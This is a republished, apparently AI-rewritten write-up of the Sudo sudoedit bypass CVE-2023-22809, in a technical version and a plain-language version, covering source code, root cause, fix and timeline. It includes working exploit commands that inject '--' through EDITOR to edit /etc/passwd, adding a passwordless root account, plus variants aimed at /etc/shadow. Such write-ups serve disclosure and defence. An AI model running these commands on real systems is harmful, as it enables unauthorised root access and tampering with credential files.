Skip to content
Access control Write-up Intermediate

Sudoedit bypass in Sudo <= 1.9.12p1 (CVE-2023-22809)

Sudo's sudoedit feature uses user-supplied environment variables (SUDO_EDITOR, VISUAL, EDITOR) to choose an editor, and these variables can contain extra arguments. By injecting an extra '--' argument, an attacker can make sudoedit treat additional files as editable, allowing them to edit any file with the privileges of the RunAs user, potentially escalating to root.

Matthieu Barjole Follow

Published on synacktiv.com

Sudo (su “do”) allows a system administrator to delegate authority to give certain users (or groups of users) the ability to run some (or all) commands as root or another user while providing an audit trail of the commands and their arguments. 1 2.

Matthieu Barjole (@aevy__), Victor Cutillas (@v1csec), on synacktiv.com

The full write-up lives on its author's site

It belongs to its author, so we link to it rather than copy it. The other two tabs are our own rewrites, checked against it.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 6 min read.

Context

Sudo ("su do") lets a system administrator delegate authority so that certain users, or groups of users, can run some or all commands as root or as another user, while keeping an audit trail of the commands and their arguments. One of its features is sudoedit, which lets a user edit a file with the privileges of the RunAs user without running the editor itself as that user.

Synacktiv discovered a sudoers policy bypass in Sudo version 1.9.12p1 when using sudoedit. The issue can lead to privilege escalation by editing files the policy never authorised. Versions 1.8.0 through 1.9.12p1 are affected. The vulnerability is tracked as CVE-2023-22809.

Setup

To reproduce the issue you need a sudoers policy that grants a user the right to edit a specific file through sudoedit, for example:

Text
$ cat /etc/sudoers
user ALL=(ALL:ALL) sudoedit /etc/custom/service.conf
[...]

The policy grants the user user the right to run sudoedit on /etc/custom/service.conf only. No other tooling is required beyond a shell and the ability to set environment variables for the sudoedit invocation.

Finding it

Sudo uses user-provided environment variables to let users select their editor of choice. The content of these variables extends the actual command passed to the sudo_edit() function. That function, however, relies on the presence of the -- argument to determine the list of files to edit. Injecting an extra -- argument in one of the authorised environment variables can alter this list and lead to privilege escalation by editing any other file with the privileges of the RunAs user. The issue occurs after the sudoers policy validation, so the policy check itself passes.

Exploitation

Step 1: Understand how the editor is resolved

The sudoers policy plugin first calls sudoers_policy_main() to handle the lookup and validation of the policy using sudoers_lookup(). At the end of this function, after the successful policy validation, the command is re-written using the editor lookup method named find_editor().

C
// plugins/sudoers/sudoers.c@sudoers_policy_main()
int
sudoers_policy_main(int argc, char * const argv[], int pwflag, char *env_add[],
    bool verbose, void *closure)
{
    // [...]
    validated = sudoers_lookup(snl, sudo_user.pw, &cmnd_status, pwflag);
    // [...]
    if (ISSET(sudo_mode, MODE_EDIT)) {
        // [...]
        safe_cmnd = find_editor(NewArgc - 1, NewArgv + 1, &edit_argc,
            &edit_argv, NULL, &env_editor, false);

find_editor() performs the editor lookup using three user-provided environment variables, as per the documentation: SUDO_EDITOR, VISUAL and EDITOR.

C
// plugins/sudoers/editor.c@find_editor()
char *
find_editor(int nfiles, char **files, int *argc_out, char ***argv_out,
     char * const *allowlist, const char **env_editor, bool env_error)
{
    // [...]
    *env_editor = NULL;
    ev[0] = "SUDO_EDITOR";
    ev[1] = "VISUAL";
    ev[2] = "EDITOR";
    for (i = 0; i < nitems(ev); i++) {
        char *editor = getenv(ev[i]);
        if (editor != NULL && *editor != '\0') {
            *env_editor = editor;
            editor_path = resolve_editor(editor, strlen(editor), nfiles,
                files, argc_out, argv_out, allowlist);

Each value, if present, is sent to resolve_editor() to be parsed. That function not only resolves the editor's path but also accepts extra arguments to be passed in the final command line. These arguments are placed before the -- (double dash) argument, which separates them from the files in the original command line.

C
// plugins/sudoers/editor.c@resolve_editor()
static char *
resolve_editor(const char *ed, size_t edlen, int nfiles, char **files,
    int *argc_out, char ***argv_out, char * const *allowlist)
{
    // [...]
    /*
     * Split editor into an argument vector, including files to edit.
     * The EDITOR and VISUAL environment variables may contain command
     * line args so look for those and alloc space for them too.
     */
    cp = wordsplit(ed, edend, &ep);
    // [...]
    editor = copy_arg(cp, ep - cp);

    /* Count rest of arguments and allocate editor argv. */
    for (nargc = 1, tmp = ep; wordsplit(NULL, edend, &tmp) != NULL; )
        nargc++;
    if (nfiles != 0)
        nargc += nfiles + 1;
    nargv = reallocarray(NULL, nargc + 1, sizeof(char *));
    // [...]
    /* Fill in editor argv (assumes files[] is NULL-terminated). */
    nargv[0] = editor;
    // [...]
    for (nargc = 1; (cp = wordsplit(NULL, edend, &ep)) != NULL; nargc++) {
        /* Copy string, collapsing chars escaped with a backslash. */
        nargv[nargc] = copy_arg(cp, ep - cp);
        // [...]
    }

    if (nfiles != 0) {
        nargv[nargc++] = "--";
        while (nfiles--)
            nargv[nargc++] = *files++;
    }
    nargv[nargc] = NULL;
    *argc_out = nargc;
    *argv_out = nargv;

Step 2: Understand how sudo_edit() parses the file list

The sudo_edit() function is then called with the resulting command. After finding a temporary writable directory (/var/tmp, /usr/tmp, /tmp, or the operation is cancelled), it parses the command line to extract the list of files to process. It uses the -- argument as a separator, and every argument to its right is considered a filename to process.

C
// src/sudo_edit.c@sudo_edit()
int
sudo_edit(struct command_details *command_details)
{
    // [...]
    /*
     * Set real, effective and saved uids to root.
     * We will change the euid as needed below.
     */
    setuid(ROOT_UID);
    // [...]
    /* Find a temporary directory writable by the user. */
    set_tmpdir(&user_details.cred);
    // [...]
    /*
     * The user's editor must be separated from the files to be
     * edited by a "--" option.
     */
    for (ap = command_details->argv; *ap != NULL; ap++) {
        if (files)
            nfiles++;
        else if (strcmp(*ap, "--") == 0)
            files = ap + 1;
        else
            editor_argc++;
    }

Step 3: Inject an extra -- through the editor variable

This behaviour leads to confusion when injecting an extra double dash in the environment variables used to look up the editor:

Text
EDITOR='vim -- /path/to/extra/file'

Using this value, the command line is resolved to:

Text
vim -- /path/to/extra/file -- /path/from/policy

Using this value, the command line is resolved to the line above, with the injected -- before the -- that Sudo adds.

Step 4: Escalate to root by editing a sensitive file

Assuming the policy shown earlier, the user can escalate privileges to root by editing sensitive files on the system:

Text
$ EDITOR='vim -- /etc/passwd' sudoedit /etc/custom/service.conf
sudoedit: --: editing files in a writable directory is not permitted
2 files to edit
sudoedit: /etc/custom/service.conf unchanged

$ tail -1 /etc/passwd
sudoedit::0:0:root:/root:/bin/bash

The output shows two files to edit, and the last line of /etc/passwd is a new account entry with UID 0.

Root cause

The policy validation happens first, in sudoers_lookup(), and only afterwards is the command re-written by find_editor() and resolve_editor(). Those functions accept extra arguments from SUDO_EDITOR, VISUAL and EDITOR and place them before the -- separator. sudo_edit() then splits the command line on the first -- it finds, so an attacker-supplied -- inside the editor variable shifts the boundary between editor arguments and files. The file list is therefore taken from attacker-controlled input rather than from the validated policy. The check that the user may edit /etc/custom/service.conf still passes; the extra file is never validated.

Impact

This vulnerability allows a user authorised to edit a file using sudoedit to edit other files as the configured RunAs user. In the example above, that means editing /etc/passwd as the RunAs user. The attacker must already hold a sudoers entry granting sudoedit on at least one file.

Fix

Add the affected environment variables to the env_delete deny list when using sudoedit:

Text
Defaults!SUDOEDIT env_delete+="SUDO_EDITOR VISUAL EDITOR"
Cmnd_Alias SUDOEDIT = sudoedit /etc/custom/service.conf
user ALL=(ALL:ALL) SUDOEDIT

The timeline records a patch sent by Todd Miller on 2023.01.05 and the advisory sent to [redacted] on 2023.01.12. The public release followed on 2023.01.18.

Timeline

Date Description
2022.12.23 Advisory sent to [redacted]
2023.01.05 Patch sent by Todd Miller.
2023.01.06 CVE-2023-22809 assigned.
2023.01.12 Advisory sent to [redacted]
2023.01.18 Public release.

Variants to test

  1. Try each of SUDO_EDITOR, VISUAL and EDITOR in turn with an injected -- followed by a target path, for example SUDO_EDITOR='vi -- /etc/shadow' sudoedit /path/from/policy. A positive result is the target file appearing in the list of files to edit, or the edit succeeding with the RunAs user's privileges.
  2. Try injecting multiple -- tokens or extra arguments before the injected separator, for example EDITOR='vim -c "..." -- /etc/passwd'. A positive result is the parser treating the first -- as the separator and the following path as a file.
  3. Try the same technique against any wrapper or tool that resolves an editor from environment variables and then splits the resulting command line on --. A positive result is a file outside the validated set being opened for editing.
  4. Check whether the env_delete mitigation is in place for the SUDOEDIT defaults. A positive result for the attacker is the environment variable still reaching find_editor() when sudoedit runs.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 18 min read.

What happened, in plain words

Sudo is a program on Linux and other Unix-like systems that lets an administrator give ordinary users permission to run certain commands with higher powers, usually as the all-powerful root account. Think of it like a building manager who hands out keys: instead of giving everyone a master key, the manager gives each person a key that only opens the doors they need. Sudo also writes down who used which key and when, so there is a record.

One of Sudo's features is called sudoedit. It lets a user edit a file that they normally could not write to, without giving them the full power of root for anything else. The idea is: you are allowed to change one specific configuration file, and Sudo will open your text editor on that file with the right permissions, then save it back. It is like being allowed to edit one page of a shared document while the rest stays locked.

The advisory is credited to Matthieu Barjole and Victor Cutillas of Synacktiv, and was publicly released on 2023.01.18. The flaw lets a user who is allowed to edit one file trick Sudo into editing a completely different file, including sensitive system files. Because the edit happens with the privileges of the RunAs user, a user allowed to edit one file can edit other files as that user. The flaw is tracked as CVE-2023-22809, and it affects Sudo versions 1.8.0 through 1.9.12p1.

The rest of this article walks through how the flaw works, step by step, in the same order as the technical advisory. You do not need to know how to program to follow it; every term is explained where it first appears.

Background: what Sudo and sudoedit actually do

Sudo (short for "su do", meaning "substitute user do") lets a system administrator delegate authority. Certain users, or groups of users, can run some or all commands as root or as another user, and Sudo keeps an audit trail of the commands and their arguments. An audit trail is simply a log: a record of what was run, by whom, and with what options.

A key file in this story is /etc/sudoers. It is the configuration file that says who is allowed to do what. A line in it might look like this:

Text
$ cat /etc/sudoers
user ALL=(ALL:ALL) sudoedit /etc/custom/service.conf
[...]

Line by line:

  • $ cat /etc/sudoers is a shell command that prints the contents of the file /etc/sudoers. The $ is just the prompt, the symbol the terminal shows before you type. cat is a small program that dumps a file's text to the screen.
  • user ALL=(ALL:ALL) sudoedit /etc/custom/service.conf is a rule. user is the name of the account the rule applies to. ALL means "on any host". (ALL:ALL) means the command may run as any user and any group. sudoedit is the command being permitted, and /etc/custom/service.conf is the only file that this rule allows the user to edit through it.
  • [...] means the rest of the file is omitted here.

In this scenario the account user has been granted the right to run sudoedit on exactly one file: /etc/custom/service.conf. The only tools needed to carry out the attack are a shell (the text interface where you type commands) and the ability to set environment variables for the sudoedit command.

An environment variable is a named value that a program can read when it starts. Your computer uses them for all sorts of things, such as where to find temporary files or which language to display. You can set one just for a single command by writing NAME=value in front of the command. That is the mechanism the attack abuses.

Finding the flaw

Sudo uses user-provided environment variables to let users pick their favourite text editor. The content of these variables is added to the actual command that Sudo eventually runs. The function that carries out the edit, sudo_edit(), relies on the presence of a special argument, -- (two dashes), to work out where the list of files to edit begins. If an attacker can sneak an extra -- into one of the editor variables, the list of files can be changed, and the user can end up editing any file with the privileges of the RunAs user (the account Sudo was configured to run the command as, here root).

Crucially, this happens after the sudoers policy has already been checked. In other words, Sudo first confirms "yes, this user may edit /etc/custom/service.conf", and only afterwards builds the real command line. The extra file is never part of that check.

Step 1: how Sudo picks the editor

The sudoers policy plugin first calls a function called sudoers_policy_main() to look up and validate the policy using sudoers_lookup(). At the end of that function, after the policy has been validated successfully, the command is rewritten using an editor lookup function named find_editor().

C
// plugins/sudoers/sudoers.c@sudoers_policy_main()
int
sudoers_policy_main(int argc, char * const argv[], int pwflag, char *env_add[],
    bool verbose, void *closure)
{
    // [...]
    validated = sudoers_lookup(snl, sudo_user.pw, &cmnd_status, pwflag);
    // [...]
    if (ISSET(sudo_mode, MODE_EDIT)) {
        // [...]
        safe_cmnd = find_editor(NewArgc - 1, NewArgv + 1, &edit_argc,
            &edit_argv, NULL, &env_editor, false);

This is C source code, the language Sudo is written in. You do not need to read it like a programmer; here is what each part means:

  • The first line is a comment saying which file and function the snippet comes from: plugins/sudoers/sudoers.c, function sudoers_policy_main().
  • int sudoers_policy_main(...) declares the function and the values it receives. argc and argv are the classic way a Unix program receives its command line: argc is the count of arguments and argv is the list of them. env_add is a list of environment variables to add. The other parameters control behaviour such as verbosity.
  • validated = sudoers_lookup(...) is the policy check. It asks the sudoers rules whether this user may run this command. The answer is stored in validated.
  • if (ISSET(sudo_mode, MODE_EDIT)) asks: are we in edit mode, that is, was this invoked as sudoedit? If yes, the block runs.
  • safe_cmnd = find_editor(...) builds the real command to run. It passes the number of files and the file list, and receives back the editor's argument count and argument list (edit_argc, edit_argv), plus which environment variable was used (env_editor).

The important point is the order: validation first, command rewriting second.

find_editor() performs the editor lookup using three user-provided environment variables, as documented: SUDO_EDITOR, VISUAL and EDITOR.

C
// plugins/sudoers/editor.c@find_editor()
char *
find_editor(int nfiles, char **files, int *argc_out, char ***argv_out,
     char * const *allowlist, const char **env_editor, bool env_error)
{
    // [...]
    *env_editor = NULL;
    ev[0] = "SUDO_EDITOR";
    ev[1] = "VISUAL";
    ev[2] = "EDITOR";
    for (i = 0; i < nitems(ev); i++) {
        char *editor = getenv(ev[i]);
        if (editor != NULL && *editor != '\0') {
            *env_editor = editor;
            editor_path = resolve_editor(editor, strlen(editor), nfiles,
                files, argc_out, argv_out, allowlist);

Line by line:

  • The comment names the file and function: plugins/sudoers/editor.c, function find_editor().
  • The function signature lists what it receives: nfiles and files (the files to edit), argc_out and argv_out (where to store the resulting command), allowlist (permitted editors, if any), env_editor (which variable was used) and env_error (whether an environment error should be fatal).
  • *env_editor = NULL; clears the record of which variable was used.
  • ev[0] = "SUDO_EDITOR"; ev[1] = "VISUAL"; ev[2] = "EDITOR"; fills an array with the three variable names, in priority order. SUDO_EDITOR wins over VISUAL, which wins over EDITOR.
  • for (i = 0; i < nitems(ev); i++) loops over those three names. nitems just means "how many items are in the array".
  • char *editor = getenv(ev[i]); reads the value of the current variable from the environment. getenv is the standard C function for this. If the variable is not set, it returns nothing (NULL).
  • if (editor != NULL && *editor != '\0') checks that the variable exists and is not an empty string. '\0' is the character that marks the end of a string in C, so *editor != '\0' means "the first character is not the end marker", that is, the value is non-empty.
  • *env_editor = editor; remembers which value was found.
  • editor_path = resolve_editor(...) hands the value to the next function, resolve_editor(), along with the file list and the output locations.

Each value, if present, is sent to resolve_editor() to be parsed. That function does not only work out the editor's path; it also accepts extra arguments to be passed on the final command line. Those extra arguments are placed before the -- separator, which is what separates them from the files in the original command line.

C
// plugins/sudoers/editor.c@resolve_editor()
static char *
resolve_editor(const char *ed, size_t edlen, int nfiles, char **files,
    int *argc_out, char ***argv_out, char * const *allowlist)
{
    // [...]
    /*
     * Split editor into an argument vector, including files to edit.
     * The EDITOR and VISUAL environment variables may contain command
     * line args so look for those and alloc space for them too.
     */
    cp = wordsplit(ed, edend, &ep);
    // [...]
    editor = copy_arg(cp, ep - cp);

    /* Count rest of arguments and allocate editor argv. */
    for (nargc = 1, tmp = ep; wordsplit(NULL, edend, &tmp) != NULL; )
        nargc++;
    if (nfiles != 0)
        nargc += nfiles + 1;
    nargv = reallocarray(NULL, nargc + 1, sizeof(char *));
    // [...]
    /* Fill in editor argv (assumes files[] is NULL-terminated). */
    nargv[0] = editor;
    // [...]
    for (nargc = 1; (cp = wordsplit(NULL, edend, &ep)) != NULL; nargc++) {
        /* Copy string, collapsing chars escaped with a backslash. */
        nargv[nargc] = copy_arg(cp, ep - cp);
        // [...]
    }

    if (nfiles != 0) {
        nargv[nargc++] = "--";
        while (nfiles--)
            nargv[nargc++] = *files++;
    }
    nargv[nargc] = NULL;
    *argc_out = nargc;
    *argv_out = nargv;

This is the heart of the problem. In plain words:

  • The comment explains the intent: split the editor value into a list of arguments, including the files to edit. The EDITOR and VISUAL variables may contain command-line arguments, so space is made for them too.
  • cp = wordsplit(ed, edend, &ep); splits the editor string into words. wordsplit is a helper that breaks text on spaces, respecting quotes and backslashes. So vim -- /path/to/extra/file becomes three words.
  • editor = copy_arg(cp, ep - cp); copies the first word, the editor program itself (for example vim).
  • The for loop counts how many more words there are, so enough memory can be reserved. nargc starts at 1 because the editor itself counts as the first argument.
  • if (nfiles != 0) nargc += nfiles + 1; adds room for the files plus one extra slot for the -- separator.
  • nargv = reallocarray(...) allocates the memory for the argument list.
  • nargv[0] = editor; puts the editor program in the first slot.
  • The second for loop copies each remaining word from the editor value into the argument list. The comment notes that backslash-escaped characters are collapsed, so \ becomes a literal space.
  • if (nfiles != 0) { nargv[nargc++] = "--"; while (nfiles--) nargv[nargc++] = *files++; } is the critical part: after the words from the environment variable, it appends a -- and then the files from the policy. So the layout is: editor, extra words from the variable, --, files from the policy.
  • nargv[nargc] = NULL; marks the end of the list, as C requires.
  • *argc_out = nargc; *argv_out = nargv; hands the finished list back to the caller.

Because the extra words come from the environment variable, and the variable is fully under the user's control, the user can put anything there, including another --.

Step 2: how sudo_edit() reads the file list

Next, sudo_edit() is called with the command that was just built. It first finds a temporary directory it can write to (/var/tmp, /usr/tmp or /tmp, otherwise the operation is cancelled), then parses the command line to extract the list of files to process. It uses the -- argument as the separator, and every argument to its right is treated as a filename.

C
// src/sudo_edit.c@sudo_edit()
int
sudo_edit(struct command_details *command_details)
{
    // [...]
    /*
     * Set real, effective and saved uids to root.
     * We will change the euid as needed below.
     */
    setuid(ROOT_UID);
    // [...]
    /* Find a temporary directory writable by the user. */
    set_tmpdir(&user_details.cred);
    // [...]
    /*
     * The user's editor must be separated from the files to be
     * edited by a "--" option.
     */
    for (ap = command_details->argv; *ap != NULL; ap++) {
        if (files)
            nfiles++;
        else if (strcmp(*ap, "--") == 0)
            files = ap + 1;
        else
            editor_argc++;
    }

Line by line:

  • The comment names the file and function: src/sudo_edit.c, function sudo_edit().
  • setuid(ROOT_UID); switches the process to the root user. uid means user ID, the number the system uses to identify an account; ROOT_UID is the ID of root, which is 0. The comment explains that the real, effective and saved user IDs are all set to root, and the effective one will be adjusted later as needed. This is why the edit has high privileges.
  • set_tmpdir(&user_details.cred); finds a temporary directory the user can write to. Sudo needs a scratch space to hold the edited copy before saving it back.
  • The for loop walks through the command's arguments one by one. ap points at the current argument, and the loop stops when it reaches the end of the list (*ap != NULL).
  • if (files) nfiles++; if the separator has already been seen, every remaining argument is counted as a file.
  • else if (strcmp(*ap, "--") == 0) files = ap + 1; otherwise, if the current argument is exactly --, remember that the files start at the next argument. strcmp compares two strings and returns 0 when they are equal.
  • else editor_argc++; anything before the separator is counted as an editor argument.

The loop stops looking for the separator as soon as it finds the first --. Everything after that first -- is treated as a file, no matter where it came from.

Step 3: injecting an extra -- through the editor variable

This is where the two behaviours collide. If the user puts an extra -- inside the editor variable, sudo_edit() sees that one first and starts treating everything after it as files.

Text
EDITOR='vim -- /path/to/extra/file'

This sets the EDITOR environment variable to the text vim -- /path/to/extra/file. The single quotes tell the shell to keep the whole thing as one value, spaces included. With this value, the command line is resolved to:

Text
vim -- /path/to/extra/file -- /path/from/policy

Read it left to right: vim is the editor, then the words from the variable (-- and /path/to/extra/file), then the -- that Sudo itself adds, then the file from the policy. When sudo_edit() scans this list, it hits the first -- (the injected one) and concludes that /path/to/extra/file is a file to edit. The second -- and the policy file come afterwards, but the parser has already started collecting files, so they are just more entries in the list.

Step 4: escalating to root by editing a sensitive file

With the policy shown earlier, the user can now escalate privileges to root by editing sensitive files on the system:

Text
$ EDITOR='vim -- /etc/passwd' sudoedit /etc/custom/service.conf
sudoedit: --: editing files in a writable directory is not permitted
2 files to edit
sudoedit: /etc/custom/service.conf unchanged

$ tail -1 /etc/passwd
sudoedit::0:0:root:/root:/bin/bash

Line by line:

  • $ EDITOR='vim -- /etc/passwd' sudoedit /etc/custom/service.conf runs sudoedit on the allowed file, but with EDITOR set to vim -- /etc/passwd. The $ is the shell prompt.
  • sudoedit: --: editing files in a writable directory is not permitted is a message printed by Sudo during the run.
  • 2 files to edit confirms that Sudo now believes there are two files to edit: the one from the policy and the injected /etc/passwd.
  • sudoedit: /etc/custom/service.conf unchanged says the allowed file was not modified, which is fine for the attacker.
  • $ tail -1 /etc/passwd prints the last line of /etc/passwd. tail -1 means "show the last one line". /etc/passwd is the file that lists user accounts on a Unix system; despite the name, modern systems keep the actual passwords elsewhere, but the file still defines who exists and what their user ID is.
  • sudoedit::0:0:root:/root:/bin/bash is the last line of /etc/passwd after the run. The fields are separated by colons: the username is sudoedit, the password field is empty, the user ID is 0, the group ID is 0, the description is root, the home directory is /root, and the login shell is /bin/bash. A user ID of 0 is root. So the attacker has created a new account with root privileges.

The output shows two files to edit, and the last line of /etc/passwd is a new account entry with UID 0.

Root cause

The policy validation happens first, in sudoers_lookup(), and only afterwards is the command rewritten by find_editor() and resolve_editor(). Those functions accept extra arguments from SUDO_EDITOR, VISUAL and EDITOR and place them before the -- separator. sudo_edit() then splits the command line on the first -- it finds, so an attacker-supplied -- inside the editor variable shifts the boundary between editor arguments and files. The file list therefore comes from attacker-controlled input rather than from the validated policy. The check that the user may edit /etc/custom/service.conf still passes; the extra file is never validated.

A useful comparison: imagine a form that asks "which room may this person clean?" and a guard checks the answer. Then, separately, a note is added saying "also clean the room written on this sticky note". The guard only checked the form, not the sticky note. The flaw is that the sticky note is read after the guard has gone home.

Impact

This vulnerability allows a user authorised to edit a file using sudoedit to edit other files as the configured RunAs user. In the example above, that means editing /etc/passwd as the RunAs user. The attacker must already hold a sudoers entry granting sudoedit on at least one file. They cannot use this from a completely unprivileged account with no sudo rights at all.

Fix

The mitigation is to add the affected environment variables to the env_delete deny list when using sudoedit. Add them to the env_delete deny list when using sudoedit:

Text
Defaults!SUDOEDIT env_delete+="SUDO_EDITOR VISUAL EDITOR"
Cmnd_Alias SUDOEDIT = sudoedit /etc/custom/service.conf
user ALL=(ALL:ALL) SUDOEDIT

Line by line:

  • Defaults!SUDOEDIT env_delete+="SUDO_EDITOR VISUAL EDITOR" is a sudoers setting. Defaults introduces default settings. !SUDOEDIT means "apply this to the command alias named SUDOEDIT". env_delete+= means "add these names to the list of environment variables to delete before running the command". The quoted list is the three editor variables. So when sudoedit runs through this alias, those variables are removed, and the injection has nothing to work with.
  • Cmnd_Alias SUDOEDIT = sudoedit /etc/custom/service.conf defines a shortcut name, SUDOEDIT, for the command sudoedit /etc/custom/service.conf. Aliases keep rules readable and let the Defaults! line refer to the same set of commands.
  • user ALL=(ALL:ALL) SUDOEDIT grants the user user the right to run the aliased command, as any user and group, on any host.

The timeline records a patch sent by Todd Miller on 2023.01.05 and the advisory sent to [redacted] on 2023.01.12. The public release followed on 2023.01.18.

Timeline

Date Description
2022.12.23 Advisory sent to [redacted]
2023.01.05 Patch sent by Todd Miller.
2023.01.06 CVE-2023-22809 assigned.
2023.01.12 Advisory sent to [redacted]
2023.01.18 Public release.

A CVE is a public identifier for a known security flaw, so people can refer to the same issue unambiguously. The distribution list is a private mailing list where Linux distributions are told about flaws before they become public, so they can prepare updates.

Variants to test

  1. Try each of SUDO_EDITOR, VISUAL and EDITOR in turn with an injected -- followed by a target path, for example SUDO_EDITOR='vi -- /etc/shadow' sudoedit /path/from/policy. A positive result is the target file appearing in the list of files to edit, or the edit succeeding with the RunAs user's privileges. /etc/shadow is the file where modern Unix systems store password hashes, so being able to edit it is even more powerful than editing /etc/passwd.
  2. Try injecting multiple -- tokens or extra arguments before the injected separator, for example EDITOR='vim -c "..." -- /etc/passwd'. A positive result is the parser treating the first -- as the separator and the following path as a file.
  3. Try the same technique against any wrapper or tool that resolves an editor from environment variables and then splits the resulting command line on --. A positive result is a file outside the validated set being opened for editing.
  4. Check whether the env_delete mitigation is in place for the SUDOEDIT defaults. A positive result for the attacker is the environment variable still reaching find_editor() when sudoedit runs.

Glossary

  • Sudo: a program that lets an administrator give users permission to run specific commands as another user, usually root, while logging what was run.
  • root: the all-powerful administrator account on Unix-like systems, identified by user ID 0.
  • sudoedit: a Sudo feature that lets a user edit a specific file with the privileges of the RunAs user, without running the editor itself as that user.
  • sudoers: the configuration file, usually /etc/sudoers, that defines who may run which commands as which user.
  • policy: the set of rules in the sudoers file that Sudo checks before running a command.
  • policy validation: the step where Sudo checks the rules and decides whether the requested command is allowed.
  • privilege escalation: gaining more permissions than you were meant to have, for example going from an ordinary user to root.
  • RunAs user: the account Sudo is configured to run a command as, often root.
  • environment variable: a named value that a program can read when it starts, set in the shell with NAME=value.
  • shell: the text interface where you type commands and see their output.
  • argument: one word or value passed to a command on its command line.
  • -- (double dash): a conventional marker that separates options from the list of files or other operands that follow.
  • CVE: a public identifier for a known security vulnerability, so the same issue can be referred to unambiguously.
  • C: the programming language Sudo is written in.
  • function: a named block of code that performs a task and can be called from elsewhere.
  • getenv: the standard C function that reads the value of an environment variable.
  • strcmp: the standard C function that compares two strings and returns 0 when they are equal.
  • NULL: the C value meaning "nothing" or "no value".
  • uid: user ID, the number the system uses to identify an account; root is 0.
  • /etc/passwd: the file that lists user accounts on a Unix system, including usernames and user IDs.
  • /etc/shadow: the file where modern Unix systems store password hashes.
  • env_delete: a sudoers setting that removes named environment variables before running a command.
  • Cmnd_Alias: a sudoers shortcut that gives a name to a set of commands.
  • distribution list: a private mailing list where Linux distributions are told about flaws before public release, so they can prepare updates.
  • audit trail: a log recording what was run, by whom, and with what arguments.
  • wrapper: a program that calls another program, often adding options or checks in between.

Similar reports

View all

Same bug class and techniques, clearest first.

Broken access control

The lesson behind this report.

A user can do something their role should not allow: reach an admin function, act on a feature they have not paid for, or skip a permission check. IDOR is the special case where the object belongs to someone else.